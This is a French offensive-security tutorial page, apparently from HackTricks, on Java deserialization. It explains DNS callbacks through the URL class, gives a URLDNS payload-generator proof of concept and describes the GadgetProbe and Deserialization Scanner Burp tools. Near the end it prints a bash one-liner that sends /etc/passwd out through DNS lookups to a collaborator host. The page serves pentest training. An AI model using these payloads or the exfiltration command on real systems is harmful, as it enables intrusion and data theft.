Java DNS Deserialization, GadgetProbe et Java Deserialization Scanner

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

RequĂȘte DNS sur la dĂ©sĂ©rialisation

La classe java.net.URL implĂ©mente Serializable, cela signifie que cette classe peut ĂȘtre sĂ©rialisĂ©e.

java
public final class URL implements java.io.Serializable {

Cette classe a un comportement curieux. D'aprĂšs la documentation : “Deux hĂŽtes sont considĂ©rĂ©s comme Ă©quivalents si les deux noms d'hĂŽtes peuvent ĂȘtre rĂ©solus en les mĂȘmes adresses IP”.
Alors, chaque fois qu'un objet URL appelle n'importe laquelle des fonctions equals ou hashCode, une demande DNS pour obtenir l'adresse IP va ĂȘtre envoyĂ©e.

Appeler la fonction hashCode d'un objet URL est assez facile, il suffit d'insĂ©rer cet objet dans un HashMap qui va ĂȘtre dĂ©sĂ©rialisĂ©. Cela est dĂ» au fait qu'Ă  la fin de la fonction readObject de HashMap, ce code est exĂ©cutĂ© :

java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Il va exécuter putVal avec chaque valeur à l'intérieur du HashMap. Mais, plus pertinent est l'appel à hash avec chaque valeur. Voici le code de la fonction hash :

java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Comme vous pouvez l'observer, lors de la dĂ©sĂ©rialisation d'un HashMap, la fonction hash va ĂȘtre exĂ©cutĂ©e avec chaque objet et pendant l'exĂ©cution de hash, .hashCode() de l'objet va ĂȘtre exĂ©cutĂ©. Par consĂ©quent, si vous dĂ©sĂ©rialisez un HashMap contenant un objet URL, l'objet URL va exĂ©cuter .hashCode().

Maintenant, examinons le code de URLObject.hashCode() :

java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Comme vous pouvez le voir, lorsqu'un URLObject exécute .hashCode(), il appelle hashCode(this). Une continuation, vous pouvez voir le code de cette fonction :

java
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Vous pouvez voir qu'un getHostAddress est exĂ©cutĂ© sur le domaine, lancant une requĂȘte DNS.

Par consĂ©quent, cette classe peut ĂȘtre abusĂ©e afin de lancer une requĂȘte DNS pour dĂ©montrer que la dĂ©sĂ©rialisation est possible, ou mĂȘme pour exfiltrer des informations (vous pouvez ajouter en sous-domaine la sortie d'une exĂ©cution de commande).

Exemple de code de payload URLDNS

Vous pouvez trouver le code de payload URDNS de ysoserial ici. Cependant, juste pour faciliter la compréhension de la façon de le coder, j'ai créé mon propre PoC (basé sur celui de ysoserial) :

java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Plus d'informations

GadgetProbe

Vous pouvez télécharger GadgetProbe depuis le Burp Suite App Store (Extender).

GadgetProbe essaiera de déterminer si certaines classes Java existent sur la classe Java du serveur afin que vous puissiez savoir si elle est vulnérable à une exploitation connue.

Comment ça fonctionne

GadgetProbe utilisera la mĂȘme charge utile DNS de la section prĂ©cĂ©dente mais avant d'exĂ©cuter la requĂȘte DNS, il essaiera de dĂ©sĂ©rialiser une classe arbitraire. Si la classe arbitraire existe, la requĂȘte DNS sera envoyĂ©e et GadgetProbe notera que cette classe existe. Si la requĂȘte DNS n'est jamais envoyĂ©e, cela signifie que la classe arbitraire n'a pas Ă©tĂ© dĂ©sĂ©rialisĂ©e avec succĂšs, donc soit elle n'est pas prĂ©sente, soit elle n'est pas sĂ©rialisable/exploitable.

Dans le github, GadgetProbe a des listes de mots avec des classes Java Ă  tester.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Plus d'informations

Scanner de désérialisation Java

Ce scanner peut ĂȘtre tĂ©lĂ©chargĂ© depuis le Burp App Store (Extender).
L'extension a des capacités passives et actives.

Passif

Par dĂ©faut, il vĂ©rifie passivement toutes les requĂȘtes et rĂ©ponses envoyĂ©es Ă  la recherche de bytes magiques sĂ©rialisĂ©s Java et prĂ©sentera un avertissement de vulnĂ©rabilitĂ© si l'un d'eux est trouvĂ© :

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Actif

Test manuel

Vous pouvez sĂ©lectionner une requĂȘte, faire un clic droit et Envoyer la requĂȘte Ă  DS - Test manuel.
Ensuite, dans l'onglet Deserialization Scanner --> onglet Test manuel, vous pouvez sélectionner le point d'insertion. Et lancer le test (Sélectionnez l'attaque appropriée en fonction de l'encodage utilisé).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

MĂȘme si cela s'appelle "Test manuel", c'est assez automatisĂ©. Il vĂ©rifiera automatiquement si la dĂ©sĂ©rialisation est vulnĂ©rable Ă  n'importe quelle charge utile ysoserial en vĂ©rifiant les bibliothĂšques prĂ©sentes sur le serveur web et mettra en Ă©vidence celles qui sont vulnĂ©rables. Pour vĂ©rifier les bibliothĂšques vulnĂ©rables, vous pouvez choisir de lancer Javas Sleeps, sleeps via consommation CPU, ou en utilisant DNS comme cela a Ă©tĂ© mentionnĂ© prĂ©cĂ©demment.

Exploitation

Une fois que vous avez identifiĂ© une bibliothĂšque vulnĂ©rable, vous pouvez envoyer la requĂȘte Ă  l'onglet Exploitation.
Dans cet onglet, vous devez sélectionner à nouveau le point d'injection, écrire la bibliothÚque vulnérable pour laquelle vous souhaitez créer une charge utile, et la commande. Ensuite, appuyez simplement sur le bouton Attaque approprié.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Informations sur l'exfiltration DNS de désérialisation Java

Faites en sorte que votre charge utile exécute quelque chose comme ce qui suit :

bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Plus d'informations

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks